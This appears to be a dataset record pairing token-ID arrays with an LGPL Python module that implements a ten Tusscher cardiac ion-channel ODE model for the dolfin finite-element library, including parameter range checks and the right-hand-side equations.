1988, 17, 566, 435, 1994, 27113, 7, 507, 340, 1315, 75, 14, 2444, 8, 13845, 63, 932, 304, 6722, 3178, 1180, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 12, 12004, 63, 932, 9, 6722, 372, 17101, 19223, 480, 4214, 6902, 12004, 2004, 26, 450, 83, 2, 450, 3178, 1180, 59, 16, 566, 507, 587, 26, 288, 372, 9949, 360, 889, 12004, 5309, 4750, 8058, 6902, 358, 489, 587, 26, 268, 327, 13450, 1708, 590, 949, 6902, 83, 5966, 11168, 14, 221, 12230, 1159, 1104, 9456, 25297, 14, 13359, 327, 12230, 1159, 440, 15868, 264, 23573, 10617, 1396, 268, 340, 7609, 63, 14315, 26, 372, 14750, 360, 4214, 949, 6902, 2256, 367, 13541, 2877, 7609, 358, 13359, 372, 3648, 20, 13845, 8, 20344, 12, 413, 9, 8410, 587, 26, 2541, 327, 13450, 1708, 590, 949, 6902, 83, 5966, 11168, 14, 221, 12230, 1159, 1104, 9456, 25297, 14, 2541, 327, 12230, 1159, 440, 15868, 264, 23573, 10617, 1396, 489, 340, 7609, 63, 14315, 26, 372, 14750, 360, 4214, 949, 6902, 2256, 367, 13541, 2877, 7609, 358, 2541, 372, 3648, 20, 13845, 8, 20344, 12, 413, 9, 421, 199, 318, 3648, 20, 10002, 83, 8, 20344, 12, 7609, 63, 14315, 29, 403, 304, 8410, 492, 6055, 2043, 492, 6055, 14, 825, 18, 2043, 492, 6055, 14, 1208, 2043, 492, 17546, 70, 8410, 1256, 63, 344, 275, 6055, 14, 1208, 14, 362, 63, 842, 63, 2343, 12047, 842, 13, 344, 418, 8410, 340, 1249, 14, 4551, 26, 489, 4897, 63, 1650, 275, 1249, 14, 4551, 2043, 587, 26, 489, 4897, 63, 1650, 275, 6055, 14, 1208, 14, 362, 63, 842, 63, 5582, 12047, 3554, 2545, 4551, 418, 8410, 17546, 70, 63, 1246, 275, 17546, 70, 14, 2495, 6472, 342, 8410, 1031, 275, 17546, 70, 14, 1716, 8, 842, 63, 344, 9, 2043, 3002, 63, 571, 63, 1813, 275, 1031, 14, 2987, 459, 571, 63, 5418, 418, 8410, 330, 643, 275, 17546, 70, 14, 1451, 31641, 360, 7231, 358, 2043, 1242, 275, 330, 643, 59, 1662, 63, 571, 63, 1813, 61, 2043, 790, 63, 344, 275, 620, 8, 1053, 459, 7231, 63, 2732, 63, 498, 63, 344, 1105, 2043, 790, 63, 4731, 275, 620, 8, 1053, 459, 7231, 63, 4731, 63, 2732, 63, 498, 1105, 8410, 4897, 275, 6055, 14, 825, 18, 14, 362, 63, 4551, 8, 4551, 63, 1650, 12, 11488, 63, 2732, 63, 498, 63, 344, 29, 498, 63, 344, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 498, 63, 4731, 9, 8410, 2557, 275, 4897, 14, 2242, 8, 7231, 63, 2732, 63, 498, 63, 344, 29, 498, 63, 344, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 498, 63, 4731, 9, 8410, 5382, 63, 932, 275, 1249, 14, 1861, 14, 6735, 7825, 435, 7324, 435, 1249, 14, 1813, 14, 6735, 7825, 435, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 9, 221, 8410, 340, 1315, 75, 14, 2444, 8, 2977, 63, 932, 304, 489, 10857, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 63, 3223, 12, 5382, 63, 932, 9, 489, 340, 822, 8, 8419, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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list_types = (_np.ndarray, list) inf = float("infinity") def value_formatter(value, width=0): """ Return a formated string of a value Arguments --------- value : any The value which is formatted width : int A min str length value """ ret = None if isinstance(value, list_types): if len(value)>4: if isinstance(value[0], integers): formatstr = "[%d, %d, ..., %d, %d]" elif isinstance(value[0], scalars): formatstr = "[%%.%(ff)s, %%.%(ff)s, ..., %%.%(ff)s, %%.%(ff)s]" % \ float_format() else: formatstr = "[%s, %s, ..., %s, %s]" ret = formatstr % (value[0], value[1], value[-2], value[-1]) elif len(value) == 0: ret = "[]" else: if isinstance(value[0], integers): formatstr = "%d" elif isinstance(value[0], scalars): formatstr = "%%.%(ff)s" % float_format() else: formatstr = "%s" formatstr = "[%s]" % (", ".join(formatstr for i in range(len(value))) ) ret = formatstr % tuple(value) elif isinstance(value, float): if value == inf: ret = "\xe2\x88\x9e" elif value == -inf: ret = "-\xe2\x88\x9e" elif isinstance(value, str): ret = repr(value) if ret is None: ret = str(value) if width == 0: return ret return VALUE_JUST(ret, width) class Range(object): """ A simple class for helping checking a given value is within a certain range """ def __init__(self, ge=None, le=None, gt=None, lt=None): """ Create a Range Arguments --------- ge : scalar (optional) Greater than or equal, range control of argument le : scalar (optional) Lesser than or equal, range control of argument gt : scalar (optional) Greater than, range control of argument lt : scalar (optional) Lesser than, range control of argument """ ops = [ge, gt, le, lt] opnames = ["ge", "gt", "le", "lt"] # Checking valid combinations of kwargs if le is not None and lt is not None: value_error("Cannot create a 'Range' including "\ "both 'le' and 'lt'") if ge is not None and gt is not None: value_error("Cannot create a 'Range' including "\ "both 'ge' and 'gt'") # Checking valid types for 'RangeChecks' for op, opname in zip(ops, opnames): if not (op is None or isinstance(op, scalars)): type_error("expected a scalar for the '%s' arg" % opname) # get limits minval = gt if gt is not None else ge if ge is not None else -inf maxval = lt if lt is not None else le if le is not None else inf if minval > maxval: value_error("expected the maxval to be larger than minval") # Dict for test and repr range_formats = {} range_formats["minop"] = ">=" if gt is None else ">" range_formats["maxop"] = "<=" if lt is None else "<" range_formats["minvalue"] = str(minval) range_formats["maxvalue"] = str(maxval) # Dict for pretty print range_formats["minop_format"] = "[" if gt is None else "(" range_formats["maxop_format"] = "]" if lt is None else ")" range_formats["minformat"] = value_formatter(minval) range_formats["maxformat"] = value_formatter(maxval) self.range_formats = range_formats self.range_eval_str = "lambda value : _all(value %(minop)s %(minvalue)s) "\ "and _all(value %(maxop)s %(maxvalue)s)"%\ range_formats self._in_range = eval(self.range_eval_str) # Define some string used for pretty print self._range_str = "%(minop_format)s%(minformat)s, "\ "%(maxformat)s%(maxop_format)s" % range_formats self._in_str = "%%s \xe2\x88\x88 %s" % self._range_str self._not_in_str = "%%s \xe2\x88\x89 %s" % self._range_str self.arg_repr_str = ", ".join("%s=%s" % (opname, op) \ for op, opname in zip(ops, opnames) \ if op is not None) def __repr__(self): return "%s(%s)" % (self.__class__.__name__, self.arg_repr_str) def __str__(self): return self._range_str def __eq__(self, other): return isinstance(other, self.__class__) and \ self._in_str == other._in_str def __contains__(self, value): """ Return True of value is in range Arguments --------- value : scalar%s A value to be used in checking range """ % ("" if _np is None else " and np.ndarray") if not isinstance(value, range_types): type_error("only scalars%s can be ranged checked" % \ ("" if _np is None else " and np.ndarray")) return self._in_range(value) def format(self, value, width=0): """ Return a formated range check of the value Arguments --------- value : scalar A value to be used in checking range width : int A min str length value """ in_range = self.__contains__(value) if value in self: return self.format_in(value, width) return self.format_not_in(value, width) def format_in(self, value, width=0): """ Return a formated range check Arguments --------- value : scalar A value to be used in checking range width : int A min str length value """ return self._in_str % value_formatter(value, width) def format_not_in(self, value, width=0): """ Return a formated range check Arguments --------- value : scalar A value to be used in checking range width : int A min str length value """ return self._not_in_str % value_formatter(value, width) def init_values(**values): """ Init values """ # Imports import dolfin # Init values # Xr1=0, Xr2=1, Xs=0, m=0, h=0.75, j=0.75, d=0, f=1, fCa=1, s=1, r=0, # Ca_SR=0.2, Ca_i=0.0002, g=1, Na_i=11.6, V=-86.2, K_i=138.3 init_values = [0, 1, 0, 0, 0.75, 0.75, 0, 1, 1, 1, 0, 0.2, 0.0002, 1,\ 11.6, -86.2, 138.3] # State indices and limit checker state_ind = dict(Xr1=(0, Range()), Xr2=(1, Range()), Xs=(2, Range()),\ m=(3, Range()), h=(4, Range()), j=(5, Range()), d=(6, Range()), f=(7,\ Range()), fCa=(8, Range()), s=(9, Range()), r=(10, Range()),\ Ca_SR=(11, Range()), Ca_i=(12, Range()), g=(13, Range()), Na_i=(14,\ Range()), V=(15, Range()), K_i=(16, Range())) for state_name, value in values.items(): if state_name not in state_ind: raise ValueError("{{0}} is not a state.".format(state_name)) ind, range = state_ind[state_name] if value not in range: raise ValueError("While setting '{0}' {1}".format(state_name,\ range.format_not_in(value))) # Assign value init_values[ind] = value init_values = dolfin.Constant(tuple(init_values)) return init_values def default_parameters(**values): """ Parameter values """ # Imports import dolfin # Param values # P_kna=0.03, g_K1=5.405, g_Kr=0.096, g_Ks=0.062, g_Na=14.838, # g_bna=0.00029, g_CaL=0.000175, g_bca=0.000592, g_to=0.294, # K_mNa=40, K_mk=1, P_NaK=1.362, K_NaCa=1000, K_sat=0.1, # Km_Ca=1.38, Km_Nai=87.5, alpha=2.5, gamma=0.35, K_pCa=0.0005, # g_pCa=0.825, g_pK=0.0146, Buf_c=0.15, Buf_sr=10, Ca_o=2, # K_buf_c=0.001, K_buf_sr=0.3, K_up=0.00025, V_leak=8e-05, # V_sr=0.001094, Vmax_up=0.000425, a_rel=0.016464, b_rel=0.25, # c_rel=0.008232, tau_g=2, Na_o=140, Cm=0.185, F=96485.3415, # R=8314.472, T=310, V_c=0.016404, stim_amplitude=0, # stim_duration=1, stim_period=1000, stim_start=1, K_o=5.4 param_values = [0.03, 5.405, 0.096, 0.062, 14.838, 0.00029, 0.000175,\ 0.000592, 0.294, 40, 1, 1.362, 1000, 0.1, 1.38, 87.5, 2.5, 0.35,\ 0.0005, 0.825, 0.0146, 0.15, 10, 2, 0.001, 0.3, 0.00025, 8e-05,\ 0.001094, 0.000425, 0.016464, 0.25, 0.008232, 2, 140, 0.185,\ 96485.3415, 8314.472, 310, 0.016404, 0, 1, 1000, 1, 5.4] # Parameter indices and limit checker param_ind = dict(P_kna=(0, Range()), g_K1=(1, Range()), g_Kr=(2,\ Range()), g_Ks=(3, Range()), g_Na=(4, Range()), g_bna=(5, Range()),\ g_CaL=(6, Range()), g_bca=(7, Range()), g_to=(8, Range()), K_mNa=(9,\ Range()), K_mk=(10, Range()), P_NaK=(11, Range()), K_NaCa=(12,\ Range()), K_sat=(13, Range()), Km_Ca=(14, Range()), Km_Nai=(15,\ Range()), alpha=(16, Range()), gamma=(17, Range()), K_pCa=(18,\ Range()), g_pCa=(19, Range()), g_pK=(20, Range()), Buf_c=(21,\ Range()), Buf_sr=(22, Range()), Ca_o=(23, Range()), K_buf_c=(24,\ Range()), K_buf_sr=(25, Range()), K_up=(26, Range()), V_leak=(27,\ Range()), V_sr=(28, Range()), Vmax_up=(29, Range()), a_rel=(30,\ Range()), b_rel=(31, Range()), c_rel=(32, Range()), tau_g=(33,\ Range()), Na_o=(34, Range()), Cm=(35, Range()), F=(36, Range()),\ R=(37, Range()), T=(38, Range()), V_c=(39, Range()),\ stim_amplitude=(40, Range()), stim_duration=(41, Range()),\ stim_period=(42, Range()), stim_start=(43, Range()), K_o=(44,\ Range())) for param_name, value in values.items(): if param_name not in param_ind: raise ValueError("{{0}} is not a param".format(param_name)) ind, range = param_ind[param_name] if value not in range: raise ValueError("While setting '{0}' {1}".format(param_name,\ range.format_not_in(value))) # Assign value param_values[ind] = value param_values = dolfin.Constant(tuple(param_values)) return param_values def rhs(states, time, parameters, dy=None): """ Compute right hand side """ # Imports import ufl import dolfin # Assign states assert(isinstance(states, dolfin.Function)) assert(states.function_space().depth() == 1) assert(states.function_space().num_sub_spaces() == 17) Xr1, Xr2, Xs, m, h, j, d, f, fCa, s, r, Ca_SR, Ca_i, g, Na_i, V, K_i =\ dolfin.split(states) # Assign parameters assert(isinstance(parameters, (dolfin.Function, dolfin.Constant))) if isinstance(parameters, dolfin.Function): assert(parameters.function_space().depth() == 1) assert(parameters.function_space().num_sub_spaces() == 45) else: assert(parameters.value_size() == 45) P_kna, g_K1, g_Kr, g_Ks, g_Na, g_bna, g_CaL, g_bca, g_to, K_mNa, K_mk,\ P_NaK, K_NaCa, K_sat, Km_Ca, Km_Nai, alpha, gamma, K_pCa, g_pCa,\ g_pK, Buf_c, Buf_sr, Ca_o, K_buf_c, K_buf_sr, K_up, V_leak, V_sr,\ Vmax_up, a_rel, b_rel, c_rel, tau_g, Na_o, Cm, F, R, T, V_c,\ stim_amplitude, stim_duration, stim_period, stim_start, K_o =\ dolfin.split(parameters) # Reversal potentials E_Na = R*T*ufl.ln(Na_o/Na_i)/F E_K = R*T*ufl.ln(K_o/K_i)/F E_Ks = R*T*ufl.ln((Na_o*P_kna + K_o)/(Na_i*P_kna + K_i))/F E_Ca = 0.5*R*T*ufl.ln(Ca_o/Ca_i)/F # Inward rectifier potassium current alpha_K1 = 0.1/(1.0 + 6.14421235332821e-6*ufl.exp(0.06*V - 0.06*E_K)) beta_K1 = (3.06060402008027*ufl.exp(0.0002*V - 0.0002*E_K) +\ 0.367879441171442*ufl.exp(0.1*V - 0.1*E_K))/(1.0 + ufl.exp(0.5*E_K -\ 0.5*V)) xK1_inf = alpha_K1/(alpha_K1 + beta_K1) i_K1 = 0.430331482911935*ufl.sqrt(K_o)*(-E_K + V)*g_K1*xK1_inf # Rapid time dependent potassium current i_Kr = 0.430331482911935*ufl.sqrt(K_o)*(-E_K + V)*Xr1*Xr2*g_Kr # Rapid time dependent potassium current xr1 gate xr1_inf = 1.0/(1.0 + 0.0243728440732796*ufl.exp(-0.142857142857143*V)) alpha_xr1 = 450.0/(1.0 + ufl.exp(-9/2 - V/10.0)) beta_xr1 = 6.0/(1.0 + 13.5813245225782*ufl.exp(0.0869565217391304*V)) tau_xr1 = alpha_xr1*beta_xr1 # Rapid time dependent potassium current xr2 gate xr2_inf = 1.0/(1.0 + 39.1212839981532*ufl.exp(0.0416666666666667*V)) alpha_xr2 = 3.0/(1.0 + 0.0497870683678639*ufl.exp(-0.05*V)) beta_xr2 = 1.12/(1.0 + 0.0497870683678639*ufl.exp(0.05*V)) tau_xr2 = alpha_xr2*beta_xr2 # Slow time dependent potassium current i_Ks = (Xs*Xs)*(V - E_Ks)*g_Ks # Slow time dependent potassium current xs gate xs_inf = 1.0/(1.0 + 0.69967253737513*ufl.exp(-0.0714285714285714*V)) alpha_xs = 1100.0/ufl.sqrt(1.0 +\ 0.188875602837562*ufl.exp(-0.166666666666667*V)) beta_xs = 1.0/(1.0 + 0.0497870683678639*ufl.exp(0.05*V)) tau_xs = alpha_xs*beta_xs # Fast sodium current i_Na = (m*m*m)*(-E_Na + V)*g_Na*h*j # Fast sodium current m gate m_inf = 1.0/((1.0 +\ 0.00184221158116513*ufl.exp(-0.110741971207087*V))*(1.0 +\ 0.00184221158116513*ufl.exp(-0.110741971207087*V))) alpha_m = 1.0/(1.0 + ufl.exp(-12.0 - V/5.0)) beta_m = 0.1/(1.0 + 0.778800783071405*ufl.exp(0.005*V)) + 0.1/(1.0 +\ ufl.exp(7.0 + V/5.0)) tau_m = alpha_m*beta_m # Fast sodium current h gate h_inf = 1.0/((1.0 + 15212.5932856544*ufl.exp(0.134589502018843*V))*(1.0 +\ 15212.5932856544*ufl.exp(0.134589502018843*V))) alpha_h = 4.43126792958051e-7*ufl.exp(-0.147058823529412*V)/(1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V)) beta_h = (310000.0*ufl.exp(0.3485*V) + 2.7*ufl.exp(0.079*V))/(1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V)) + 0.77*(1.0 - 1.0/(1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V)))/(0.13 +\ 0.0497581410839387*ufl.exp(-0.0900900900900901*V)) tau_h = 1.0/(alpha_h + beta_h) # Fast sodium current j gate j_inf = 1.0/((1.0 + 15212.5932856544*ufl.exp(0.134589502018843*V))*(1.0 +\ 15212.5932856544*ufl.exp(0.134589502018843*V))) alpha_j = (37.78 + V)*(-6.948e-6*ufl.exp(-0.04391*V) -\ 25428.0*ufl.exp(0.2444*V))/((1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V))*(1.0 +\ 50262745825.954*ufl.exp(0.311*V))) beta_j = 0.6*(1.0 - 1.0/(1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V)))*ufl.exp(0.057*V)/(1.0 +\ 0.0407622039783662*ufl.exp(-0.1*V)) +\ 0.02424*ufl.exp(-0.01052*V)/((1.0 +\ 2.3538526683702e+17*ufl.exp(1.0*V))*(1.0 +\ 0.00396086833990426*ufl.exp(-0.1378*V))) tau_j = 1.0/(alpha_j + beta_j) # Sodium background current i_b_Na = (-E_Na + V)*g_bna # L type ca current i_CaL = 4.0*(F*F)*(-0.341*Ca_o +\ Ca_i*ufl.exp(2.0*F*V/(R*T)))*V*d*f*fCa*g_CaL/((-1.0 +\ ufl.exp(2.0*F*V/(R*T)))*R*T) # L type ca current d gate d_inf = 1.0/(1.0 + 0.513417119032592*ufl.exp(-0.133333333333333*V)) alpha_d = 0.25 + 1.4/(1.0 +\ 0.0677244716592409*ufl.exp(-0.0769230769230769*V)) beta_d = 1.4/(1.0 + ufl.exp(1.0 + V/5.0)) gamma_d = 1.0/(1.0 + 12.1824939607035*ufl.exp(-0.05*V)) tau_d = gamma_d + alpha_d*beta_d # L type ca current f gate f_inf = 1.0/(1.0 + 17.4117080633276*ufl.exp(0.142857142857143*V)) tau_f = 80.0 + 165.0/(1.0 + ufl.exp(5/2 - V/10.0)) +\ 1125.0*ufl.exp(-0.00416666666666667*((27.0 + V)*(27.0 + V))) # L type ca current fca gate alpha_fCa = 1.0/(1.0 + 8.03402376701711e+27*ufl.elem_pow(Ca_i, 8.0)) beta_fCa = 0.1/(1.0 + 0.00673794699908547*ufl.exp(10000.0*Ca_i)) gama_fCa = 0.2/(1.0 + 0.391605626676799*ufl.exp(1250.0*Ca_i)) fCa_inf = 0.157534246575342 + 0.684931506849315*gama_fCa +\ 0.684931506849315*beta_fCa + 0.684931506849315*alpha_fCa tau_fCa = 2.0 d_fCa = (-fCa + fCa_inf)/tau_fCa # Calcium background current i_b_Ca = (V - E_Ca)*g_bca # Transient outward current i_to = (-E_K + V)*g_to*r*s # Transient outward current s gate s_inf = 1.0/(1.0 + ufl.exp(4.0 + V/5.0)) tau_s = 3.0 + 85.0*ufl.exp(-0.003125*((45.0 + V)*(45.0 + V))) + 5.0/(1.0 +\ ufl.exp(-4.0 + V/5.0)) # Transient outward current r gate r_inf = 1.0/(1.0 + 28.0316248945261*ufl.exp(-0.166666666666667*V)) tau_r = 0.8 + 9.5*ufl.exp(-0.000555555555555556*((40.0 + V)*(40.0 + V))) # Sodium potassium pump current i_NaK = K_o*Na_i*P_NaK/((K_mk + K_o)*(Na_i + K_mNa)*(1.0 +\ 0.0353*ufl.exp(-F*V/(R*T)) + 0.1245*ufl.exp(-0.1*F*V/(R*T)))) # Sodium calcium exchanger current i_NaCa = (-(Na_o*Na_o*Na_o)*Ca_i*alpha*ufl.exp((-1.0 + gamma)*F*V/(R*T))\ + (Na_i*Na_i*Na_i)*Ca_o*ufl.exp(F*V*gamma/(R*T)))*K_NaCa/((1.0 +\ K_sat*ufl.exp((-1.0 + gamma)*F*V/(R*T)))*((Na_o*Na_o*Na_o) +\ (Km_Nai*Km_Nai*Km_Nai))*(Km_Ca + Ca_o)) # Calcium pump current i_p_Ca = Ca_i*g_pCa/(K_pCa + Ca_i) # Potassium pump current i_p_K = (-E_K + V)*g_pK/(1.0 +\ 65.4052157419383*ufl.exp(-0.167224080267559*V)) # Calcium dynamics i_rel = ((Ca_SR*Ca_SR)*a_rel/((Ca_SR*Ca_SR) + (b_rel*b_rel)) + c_rel)*d*g i_up = Vmax_up/(1.0 + (K_up*K_up)/(Ca_i*Ca_i)) i_leak = (-Ca_i + Ca_SR)*V_leak g_inf = (1.0 - 1.0/(1.0 + 0.0301973834223185*ufl.exp(10000.0*Ca_i)))/(1.0 +\ 1.97201988740492e+55*ufl.elem_pow(Ca_i, 16.0)) + 1.0/((1.0 +\ 0.0301973834223185*ufl.exp(10000.0*Ca_i))*(1.0 +\ 5.43991024148102e+20*ufl.elem_pow(Ca_i, 6.0))) d_g = (-g + g_inf)/tau_g Ca_i_bufc = 1.0/(1.0 + Buf_c*K_buf_c/((K_buf_c + Ca_i)*(K_buf_c + Ca_i))) Ca_sr_bufsr = 1.0/(1.0 + Buf_sr*K_buf_sr/((K_buf_sr + Ca_SR)*(K_buf_sr +\ Ca_SR))) # Sodium dynamics # Membrane i_Stim = -(1.0 - 1.0/(1.0 + ufl.exp(-5.0*stim_start +\ 5.0*time)))*stim_amplitude/(1.0 + ufl.exp(-5.0*stim_start + 5.0*time\ - 5.0*stim_duration)) # Potassium dynamics # The ODE system: 17 states # Init test function _v = dolfin.TestFunction(states.function_space()) # Derivative for state Xr1 dy = ((-Xr1 + xr1_inf)/tau_xr1)*_v[0] # Derivative for state Xr2 dy += ((-Xr2 + xr2_inf)/tau_xr2)*_v[1] # Derivative for state Xs dy += ((-Xs + xs_inf)/tau_xs)*_v[2] # Derivative for state m dy += ((-m + m_inf)/tau_m)*_v[3] # Derivative for state h dy += ((-h + h_inf)/tau_h)*_v[4] # Derivative for state j dy += ((j_inf - j)/tau_j)*_v[5] # Derivative for state d dy += ((d_inf - d)/tau_d)*_v[6] # Derivative for state f dy += ((-f + f_inf)/tau_f)*_v[7] # Derivative for state fCa dy += ((1.0 - 1.0/((1.0 + ufl.exp(60.0 + V))*(1.0 + ufl.exp(-10.0*fCa +\ 10.0*fCa_inf))))*d_fCa)*_v[8] # Derivative for state s dy += ((-s + s_inf)/tau_s)*_v[9] # Derivative for state r dy += ((-r + r_inf)/tau_r)*_v[10] # Derivative for state Ca_SR dy += ((-i_leak + i_up - i_rel)*Ca_sr_bufsr*V_c/V_sr)*_v[11] # Derivative for state Ca_i dy += ((-i_up - (i_CaL + i_p_Ca + i_b_Ca - 2.0*i_NaCa)*Cm/(2.0*F*V_c) +\ i_leak + i_rel)*Ca_i_bufc)*_v[12] # Derivative for state g dy += ((1.0 - 1.0/((1.0 + ufl.exp(60.0 + V))*(1.0 + ufl.exp(-10.0*g +\ 10.0*g_inf))))*d_g)*_v[13] # Derivative for state Na_i dy += ((-3.0*i_NaK - 3.0*i_NaCa - i_Na - i_b_Na)*Cm/(F*V_c))*_v[14] # Derivative for state V dy += (-i_Ks - i_to - i_Kr - i_p_K - i_NaK - i_NaCa - i_Na - i_p_Ca -\ i_b_Na - i_CaL - i_Stim - i_K1 - i_b_Ca)*_v[15] # Derivative for state K_i dy += ((-i_Ks - i_to - i_Kr - i_p_K - i_Stim - i_K1 +\ 2.0*i_NaK)*Cm/(F*V_c))*_v[16] # Return dy return dy
lgpl-3.0
[ 504, 636, 2443, 363, 492, 4629, 199, 646, 2680, 465, 485, 1590, 199, 513, 63, 1313, 275, 6110, 1590, 14, 8237, 12, 769, 9, 199, 4904, 275, 2069, 480, 262, 9693, 531, 199, 199, 318, 574, 63, 8911, 8, 585, 12, 3462, 29, 16, 304, 272, 408, 272, 1432, 282, 1824, 972, 1059, 402, 282, 574, 339, 7628, 272, 3001, 13, 272, 574, 520, 1263, 267, 710, 574, 1314, 365, 7871, 272, 3462, 520, 1109, 267, 437, 1748, 620, 2582, 574, 272, 408, 272, 2203, 275, 488, 272, 340, 1228, 8, 585, 12, 769, 63, 1313, 304, 267, 340, 822, 8, 585, 13032, 20, 26, 288, 340, 1228, 8, 585, 59, 16, 467, 9446, 304, 355, 1475, 495, 275, 26503, 68, 12, 450, 68, 12, 14263, 450, 68, 12, 450, 68, 8480, 288, 916, 1228, 8, 585, 59, 16, 467, 19945, 304, 355, 1475, 495, 275, 7369, 8530, 31706, 556, 9, 83, 12, 11539, 31706, 556, 9, 83, 12, 14263, 11539, 31706, 556, 9, 83, 12, 11539, 31706, 556, 9, 83, 8480, 450, 971, 1169, 2069, 63, 908, 342, 288, 587, 26, 355, 1475, 495, 275, 26503, 83, 12, 450, 83, 12, 14263, 450, 83, 12, 450, 83, 8480, 288, 2203, 275, 1475, 495, 450, 334, 585, 59, 16, 467, 574, 59, 17, 467, 574, 1988, 18, 467, 574, 1988, 17, 566, 267, 916, 822, 8, 585, 9, 508, 378, 26, 288, 2203, 275, 7369, 8480, 267, 587, 26, 288, 340, 1228, 8, 585, 59, 16, 467, 9446, 304, 355, 1475, 495, 275, 2071, 68, 2, 288, 916, 1228, 8, 585, 59, 16, 467, 19945, 304, 355, 1475, 495, 275, 2071, 17229, 2840, 556, 9, 83, 2, 450, 2069, 63, 908, 342, 288, 587, 26, 355, 1475, 495, 275, 2071, 83, 2, 953, 1475, 495, 275, 26503, 83, 8480, 450, 334, 401, 3680, 904, 8, 908, 495, 367, 284, 315, 1425, 8, 552, 8, 585, 1724, 776, 288, 2203, 275, 1475, 495, 450, 2008, 8, 585, 9, 2286, 916, 1228, 8, 585, 12, 2069, 304, 267, 340, 574, 508, 10739, 26, 288, 2203, 275, 1867, 1845, 18, 60, 88, 1299, 60, 88, 25, 69, 2, 267, 916, 574, 508, 446, 4904, 26, 288, 2203, 275, 298, 2696, 1845, 18, 60, 88, 1299, 60, 88, 25, 69, 2, 2286, 916, 1228, 8, 585, 12, 620, 304, 267, 2203, 275, 4700, 8, 585, 9, 5493, 340, 2203, 365, 488, 26, 267, 2203, 275, 620, 8, 585, 9, 2286, 340, 3462, 508, 378, 26, 267, 372, 2203, 272, 372, 21170, 63, 42, 7698, 8, 3292, 12, 3462, 9, 199, 199, 533, 13114, 8, 785, 304, 272, 408, 272, 437, 3486, 1021, 367, 1720, 316, 7907, 282, 1627, 574, 365, 4453, 282, 9842, 1425, 272, 408, 272, 347, 636, 826, 721, 277, 12, 2312, 29, 403, 12, 1026, 29, 403, 12, 16484, 29, 403, 12, 22146, 29, 403, 304, 267, 408, 267, 2790, 282, 13114, 398, 7628, 267, 3001, 13, 267, 2312, 520, 6917, 334, 4144, 9, 288, 598, 5588, 2419, 503, 4472, 12, 1425, 3304, 402, 1423, 267, 1026, 520, 6917, 334, 4144, 9, 288, 6401, 2419, 503, 4472, 12, 1425, 3304, 402, 1423, 267, 16484, 520, 6917, 334, 4144, 9, 288, 598, 5588, 2419, 12, 1425, 3304, 402, 1423, 267, 22146, 520, 6917, 334, 4144, 9, 288, 6401, 2419, 12, 1425, 3304, 402, 1423, 267, 408, 267, 4156, 275, 359, 303, 12, 16484, 12, 1026, 12, 22146, 61, 267, 1687, 1247, 275, 2097, 303, 401, 298, 3308, 401, 298, 274, 401, 298, 4116, 937, 398, 327, 25109, 1686, 15821, 402, 2074, 267, 340, 1026, 365, 440, 488, 436, 22146, 365, 440, 488, 26, 288, 574, 63, 705, 480, 6612, 1218, 282, 283, 4709, 7, 5893, 1867, 717, 298, 10727, 283, 274, 7, 436, 283, 4116, 9859, 267, 340, 2312, 365, 440, 488, 436, 16484, 365, 440, 488, 26, 288, 574, 63, 705, 480, 6612, 1218, 282, 283, 4709, 7, 5893, 1867, 717, 298, 10727, 283, 303, 7, 436, 283, 3308, 9859, 2728, 327, 25109, 1686, 2943, 367, 283, 4709, 11834, 7, 267, 367, 1687, 12, 1687, 354, 315, 3482, 8, 1483, 12, 1687, 1247, 304, 288, 340, 440, 334, 411, 365, 488, 503, 1228, 8, 411, 12, 19945, 2298, 355, 730, 63, 705, 480, 2062, 282, 6917, 367, 314, 1543, 83, 7, 1680, 2, 450, 1687, 354, 9, 398, 327, 664, 10976, 267, 30135, 275, 16484, 340, 16484, 365, 440, 488, 587, 2312, 340, 2312, 365, 440, 488, 587, 446, 4904, 267, 23291, 275, 22146, 340, 22146, 365, 440, 488, 587, 1026, 340, 1026, 365, 440, 488, 587, 10739, 398, 340, 30135, 690, 23291, 26, 288, 574, 63, 705, 480, 2062, 314, 23291, 370, 506, 12142, 2419, 30135, 531, 398, 327, 7448, 367, 511, 436, 4700, 267, 1425, 63, 6321, 275, 1052, 267, 1425, 63, 6321, 905, 827, 411, 937, 275, 15281, 628, 340, 16484, 365, 488, 587, 28192, 267, 1425, 63, 6321, 905, 988, 411, 937, 275, 3886, 628, 340, 22146, 365, 488, 587, 3886, 2, 267, 1425, 63, 6321, 905, 827, 585, 937, 275, 620, 8, 827, 637, 9, 267, 1425, 63, 6321, 905, 988, 585, 937, 275, 620, 8, 30909, 9, 2728, 327, 7448, 367, 7268, 870, 267, 1425, 63, 6321, 905, 827, 411, 63, 908, 937, 275, 32607, 340, 16484, 365, 488, 587, 26054, 267, 1425, 63, 6321, 905, 988, 411, 63, 908, 937, 275, 298, 8480, 340, 22146, 365, 488, 587, 19607, 267, 1425, 63, 6321, 905, 827, 908, 937, 275, 574, 63, 8911, 8, 827, 637, 9, 267, 1425, 63, 6321, 905, 988, 908, 937, 275, 574, 63, 8911, 8, 30909, 9, 267, 291, 14, 1842, 63, 6321, 275, 1425, 63, 6321, 398, 291, 14, 1842, 63, 2579, 63, 495, 275, 298, 2734, 574, 520, 485, 452, 8, 585, 2818, 827, 411, 9, 83, 2818, 827, 585, 9, 83, 9, 1867, 2892, 298, 460, 485, 452, 8, 585, 2818, 988, 411, 9, 83, 2818, 988, 585, 9, 83, 2924, 27744, 2892, 1425, 63, 6321, 398, 291, 423, 262, 63, 1842, 275, 3468, 8, 277, 14, 1842, 63, 2579, 63, 495, 9, 2728, 327, 13930, 2005, 1059, 1202, 367, 7268, 870, 267, 291, 423, 1842, 63, 495, 275, 11792, 827, 411 ]
